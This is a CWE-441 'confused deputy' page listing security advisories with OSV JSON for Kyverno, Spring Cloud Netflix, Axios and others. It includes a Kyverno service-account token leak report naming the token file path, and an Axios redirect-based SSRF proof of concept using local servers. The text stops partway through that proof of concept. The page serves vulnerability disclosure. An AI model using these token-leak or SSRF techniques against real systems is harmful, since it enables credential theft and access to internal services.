Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

258 vulnerabilities reference this CWE, most recent first.

GHSA-Q93Q-V844-JRQP

Vulnerability from github – Published: 2026-04-14 20:09 – Updated: 2026-04-24 21:10
VLAI
Summary
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
Details

kyverno’s apiCall servicecall helper implicitly injects Authorization: Bearer ... using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. because context.apiCall.service.url is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy).

namespaced policies are blocked from servicecall usage by the namespaced urlPath gate in pkg/engine/apicall/apiCall.go, so this report is scoped to ClusterPolicy and global context usage.

attacker model

the attacker can create or update a ClusterPolicy (or create a GlobalContextEntry) which uses context.apiCall.service.url and can choose the request URL and headers. a cross-boundary framing for real deployments is gitops: if the policy repo/controller is compromised, the ClusterPolicy/global context entry becomes untrusted input to kyverno.

relevant links

  • repository: https://github.com/kyverno/kyverno
  • commit: 17aeb52337fd66adb0c8126213ba076612a287a7
  • callsite (token injection): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/executor.go#L150-L173
  • namespaced policy gate (servicecall blocked): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/apiCall.go#L67-L83

root cause

in (*executor).addHTTPHeaders, kyverno reads the serviceaccount token from /var/run/secrets/kubernetes.io/serviceaccount/token and injects it when the outgoing request has no Authorization header:

if req.Header.Get("Authorization") == "" {
  token := a.getToken()
  if token != "" {
    req.Header.Add("Authorization", "Bearer "+token)
  }
}

proof of concept

the attached poc.zip is a reproducible cluster PoC. it uses an in-cluster HTTP receiver which logs the Authorization header it receives. the PoC does not print token bytes; it only checks that the received header is non-empty and not equal to the negative control.

run (one command):

unzip poc.zip -d poc
cd poc
make test

canonical (expected: implicit token injection):

unzip poc.zip -d poc
cd poc
make canonical

expected output includes:

[CALLSITE_HIT]: executor.addHTTPHeaders Authorization=="" -> read_serviceaccount_token=true
[PROOF_MARKER]: authorization_header_injected=true token_nonempty=true

control (expected: explicit Authorization header disables auto-injection):

unzip poc.zip -d poc
cd poc
make control

expected output includes:

[CALLSITE_HIT]: executor.addHTTPHeaders Authorization!="" -> autoinject_skipped=true
[NC_MARKER]: authorization_header_injected=false

optional: the canonical run may also print an [RBAC]: ... line using kubectl auth can-i with the exfiltrated token, to show concrete privileges without exposing the token.

impact

token exfiltration: the kyverno controller serviceaccount token is sent to a policy-controlled endpoint. impact depends on the rbac bound to that serviceaccount in the target deployment.

recommended fix

do not auto-inject the kyverno serviceaccount token into policy-controlled servicecall requests. require explicit Authorization configuration, or enforce a strict allowlist of destinations where credentials may be attached and document the behavior.

workarounds

  • avoid using servicecall to arbitrary urls in policies.
  • set an explicit Authorization header in servicecall policies to prevent implicit token injection.

poc.zip PR_DESCRIPTION.md

oleh

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-922"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:09:00Z",
    "nvd_published_at": "2026-04-21T19:16:18Z",
    "severity": "HIGH"
  },
  "details": "kyverno\u2019s apiCall servicecall helper implicitly injects `Authorization: Bearer ...` using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. because `context.apiCall.service.url` is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy).\n\nnamespaced policies are blocked from servicecall usage by the namespaced `urlPath` gate in `pkg/engine/apicall/apiCall.go`, so this report is scoped to ClusterPolicy and global context usage.\n\n## attacker model\n\nthe attacker can create or update a ClusterPolicy (or create a GlobalContextEntry) which uses `context.apiCall.service.url` and can choose the request URL and headers. a cross-boundary framing for real deployments is gitops: if the policy repo/controller is compromised, the ClusterPolicy/global context entry becomes untrusted input to kyverno.\n\n## relevant links\n\n- repository: https://github.com/kyverno/kyverno\n- commit: 17aeb52337fd66adb0c8126213ba076612a287a7\n- callsite (token injection): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/executor.go#L150-L173\n- namespaced policy gate (servicecall blocked): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/apiCall.go#L67-L83\n\n## root cause\n\nin `(*executor).addHTTPHeaders`, kyverno reads the serviceaccount token from `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it when the outgoing request has no Authorization header:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n  token := a.getToken()\n  if token != \"\" {\n    req.Header.Add(\"Authorization\", \"Bearer \"+token)\n  }\n}\n```\n\n## proof of concept\n\nthe attached `poc.zip` is a reproducible cluster PoC. it uses an in-cluster HTTP receiver which logs the Authorization header it receives. the PoC does not print token bytes; it only checks that the received header is non-empty and not equal to the negative control.\n\nrun (one command):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\ncanonical (expected: implicit token injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake canonical\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization==\"\" -\u003e read_serviceaccount_token=true\n[PROOF_MARKER]: authorization_header_injected=true token_nonempty=true\n```\n\ncontrol (expected: explicit Authorization header disables auto-injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake control\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization!=\"\" -\u003e autoinject_skipped=true\n[NC_MARKER]: authorization_header_injected=false\n```\n\noptional: the canonical run may also print an `[RBAC]: ...` line using `kubectl auth can-i` with the exfiltrated token, to show concrete privileges without exposing the token.\n\n## impact\n\ntoken exfiltration: the kyverno controller serviceaccount token is sent to a policy-controlled endpoint. impact depends on the rbac bound to that serviceaccount in the target deployment.\n\n## recommended fix\n\ndo not auto-inject the kyverno serviceaccount token into policy-controlled servicecall requests. require explicit Authorization configuration, or enforce a strict allowlist of destinations where credentials may be attached and document the behavior.\n\n## workarounds\n\n- avoid using servicecall to arbitrary urls in policies.\n- set an explicit Authorization header in servicecall policies to prevent implicit token injection.\n\n\n[poc.zip](https://github.com/user-attachments/files/25352288/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25352289/PR_DESCRIPTION.md)\n\noleh",
  "id": "GHSA-q93q-v844-jrqp",
  "modified": "2026-04-24T21:10:06Z",
  "published": "2026-04-14T20:09:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40868"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token"
}

GHSA-QGCG-P3V2-9H4P

Vulnerability from github – Published: 2021-04-30 17:29 – Updated: 2021-04-27 21:33
VLAI
Summary
Externally Controlled Reference to a Resource in Another Sphere and Confused Deputy in Spring Cloud Netflix
Details

Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-netflix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-netflix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-27T21:33:12Z",
    "nvd_published_at": "2020-08-07T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.",
  "id": "GHSA-qgcg-p3v2-9h4p",
  "modified": "2021-04-27T21:33:12Z",
  "published": "2021-04-30T17:29:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5412"
    },
    {
      "type": "WEB",
      "url": "https://tanzu.vmware.com/security/cve-2020-5412"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Externally Controlled Reference to a Resource in Another Sphere and Confused Deputy in Spring Cloud Netflix"
}

GHSA-QHM2-FWJ3-3R79

Vulnerability from github – Published: 2026-04-15 00:31 – Updated: 2026-05-06 15:32
VLAI
Details

Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose a deprecated .NET Remoting TCP channel that allows remote unauthenticated attackers to leak NTLMv2 machine-account hashes by supplying a Windows UNC path as a target file argument through object-unmarshalling techniques. Attackers can capture the leaked NTLMv2 hash and relay it to other hosts to achieve privilege escalation or lateral movement depending on network configuration and patch level.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-39906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-14T22:16:32Z",
    "severity": "HIGH"
  },
  "details": "Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose a deprecated .NET Remoting TCP channel that allows remote unauthenticated attackers to leak NTLMv2 machine-account hashes by supplying a Windows UNC path as a target file argument through object-unmarshalling techniques. Attackers can capture the leaked NTLMv2 hash and relay it to other hosts to achieve privilege escalation or lateral movement depending on network configuration and patch level.",
  "id": "GHSA-qhm2-fwj3-3r79",
  "modified": "2026-05-06T15:32:32Z",
  "published": "2026-04-15T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39906"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/VAMorales/be3e4ed472c51794493c1256cce16129"
    },
    {
      "type": "WEB",
      "url": "https://www.unisys.com/solutions/cai/applications"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/unisys-webperfect-image-suite-ntlmv2-hash-leakage-via-net-remoting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QQ22-JJ8X-4WWV

Vulnerability from github – Published: 2024-05-03 20:29 – Updated: 2025-02-21 16:11
VLAI
Summary
Pterodactyl Wings vulnerable to Server-Side Request Forgery during remote file pull
Details

Impact

An authenticated user who has access to a game server is able to bypass the previously implemented access control (https://github.com/pterodactyl/wings/security/advisories/GHSA-6rg3-8h8x-5xfv) that prevents accessing internal endpoints of the node hosting Wings in the pull endpoint. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.

Workarounds

Enabling the api.disable_remote_download option or updating to the latest version of Wings are the only known workarounds.

Patches

https://github.com/pterodactyl/wings/commit/c152e36101aba45d8868a9a0eeb890995e8934b8

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-03T20:29:59Z",
    "nvd_published_at": "2024-05-03T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn authenticated user who has access to a game server is able to bypass the previously implemented access control (https://github.com/pterodactyl/wings/security/advisories/GHSA-6rg3-8h8x-5xfv) that prevents accessing internal endpoints of the node hosting Wings in the pull endpoint. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.\n\n### Workarounds\n\nEnabling the `api.disable_remote_download` option or updating to the latest version of Wings are the only known workarounds.\n\n### Patches\n\nhttps://github.com/pterodactyl/wings/commit/c152e36101aba45d8868a9a0eeb890995e8934b8",
  "id": "GHSA-qq22-jj8x-4wwv",
  "modified": "2025-02-21T16:11:49Z",
  "published": "2024-05-03T20:29:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-6rg3-8h8x-5xfv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-qq22-jj8x-4wwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/c152e36101aba45d8868a9a0eeb890995e8934b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2815"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl Wings vulnerable to Server-Side Request Forgery during remote file pull"
}

GHSA-QV2P-FC6W-PM22

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-05 18:31
VLAI
Details

In onCommand of ActivityManagerShellCommand.java, there is a possible arbitrary activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-32324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:35Z",
    "severity": "HIGH"
  },
  "details": "In onCommand of ActivityManagerShellCommand.java, there is a possible arbitrary activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-qv2p-fc6w-pm22",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32324"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/0fb2788dac393086b7e53fbe05414368ae395d9b"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QV68-8F3P-28PF

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31
VLAI
Details

A vulnerability in the Software Image Management feature of Cisco DNA Center could allow an authenticated, remote attacker to access to internal services without additional authentication. The vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending arbitrary HTTP requests to internal services. An exploit could allow the attacker to bypass any firewall or other protections to access unauthorized internal services. DNAC versions prior to 1.2.5 are affected.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-18T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Software Image Management feature of Cisco DNA Center could allow an authenticated, remote attacker to access to internal services without additional authentication. The vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending arbitrary HTTP requests to internal services. An exploit could allow the attacker to bypass any firewall or other protections to access unauthorized internal services. DNAC versions prior to 1.2.5 are affected.",
  "id": "GHSA-qv68-8f3p-28pf",
  "modified": "2022-05-13T01:31:18Z",
  "published": "2022-05-13T01:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1841"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190417-swim-proxy"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108084"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R38J-848Q-2GC6

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 18:31
VLAI
Details

In Setup Wizard, there is a possible way to force connection to a malicious network due to confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-28616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:53Z",
    "severity": "HIGH"
  },
  "details": "In Setup Wizard, there is a possible way to force connection to a malicious network due to confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-r38j-848q-2gc6",
  "modified": "2026-09-10T18:31:32Z",
  "published": "2026-09-08T21:34:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28616"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R4FF-JQF2-8P5G

Vulnerability from github – Published: 2026-09-26 21:30 – Updated: 2026-09-26 21:30
VLAI
Details

Unintended Proxy or Intermediary ('Confused Deputy') (CWE-441) in Kibana Agent Builder can lead to privilege escalation. A non-administrative user able to edit a shared agent could cause privileged operations to be carried out under the identity of a higher-privileged user who subsequently interacts with that agent. Where the same user can also author workflows, this can extend to full administrative control of Kibana and of the Elasticsearch cluster.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-72668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T21:16:55Z",
    "severity": "HIGH"
  },
  "details": "Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027) (CWE-441) in Kibana Agent Builder can lead to privilege escalation. A non-administrative user able to edit a shared agent could cause privileged operations to be carried out under the identity of a higher-privileged user who subsequently interacts with that agent. Where the same user can also author workflows, this can extend to full administrative control of Kibana and of the Elasticsearch cluster.",
  "id": "GHSA-r4ff-jqf2-8p5g",
  "modified": "2026-09-26T21:30:27Z",
  "published": "2026-09-26T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72668"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-9-4-7-9-5-0-security-update-esa-2026-85/390678"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R4GJ-5M52-G5WH

Vulnerability from github – Published: 2026-09-30 15:31 – Updated: 2026-09-30 15:31
VLAI
Summary
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
Details

Summary

Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.

Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.

Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where fetch is selected by adapter resolution.
  • Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.

Not affected:

  • Node HTTP adapter, which enforces maxRedirects: 0.
  • Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.

Technical Details

lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because redirect is absent, the Fetch API default is to follow redirects.

Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.

Proof of Concept of Attack

Constrained local demonstration:

  1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal.
  2. Start server B that returns INTERNAL.
  3. Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL

Workarounds

For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

Original report

## Summary Axios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`. In the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact. This affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly. ## Details The fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`: 
let {
  url, method, data, signal, cancelToken, timeout,
  onDownloadProgress, onUploadProgress, responseType,
  headers, withCredentials, fetchOptions,
  maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
The options object passed to `fetch()` has no `redirect` key: 
const resolvedOptions = {
  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects. The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect The behaviour difference between adapters is summarised below: | Behaviour | HTTP adapter | Fetch adapter | |----------------------------------------|---------------------------------|--------------------------| | Reads `config.maxRedirects` | Yes | **No** | | Enforces `maxRedirects: 0` | Yes -- throws on any redirect | **No -- follows silently**| | Strips `Authorization` cross-origin | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent | | Strips `Cookie` cross-origin | Yes | Runtime-dependent | ### When is the fetch adapter selected? - **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'` - **Explicit config:** `axios.get(url, { adapter: 'fetch' })` - **Custom adapter list:** `axios.create({ adapter: ['fetch'] })` ## PoC 
import http from 'http';
import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
  if (req.url === '/api/data') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
    return res.end();
  }
  if (req.url === '/api/change-config') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
    return res.end();
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ ok: true }));
});

let internalHits = 0;
let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
  internalHits++;

  if (req.url === '/internal/secrets') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',
    }));
  }

  if (req.url === '/internal/admin/config') {
    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      reached: 'state-changing internal admin endpoint',
      changed: true,
      internalConfig,
    }));
  }

  res.writeHead(404);
  res.end();
});

await Promise.all([
  new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
  new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);

const targetUrl    = 'http://127.0.0.1:13801/api/data';
const changeUrl    = 'http://127.0.0.1:13801/api/change-config';
const internalUrl  = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg  = 'http://127.0.0.1:13802/internal/admin/config';

console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(`  redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(`  redirects to ${internalCfg}`);
console.log('');

// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
  await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
  console.log('[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown');
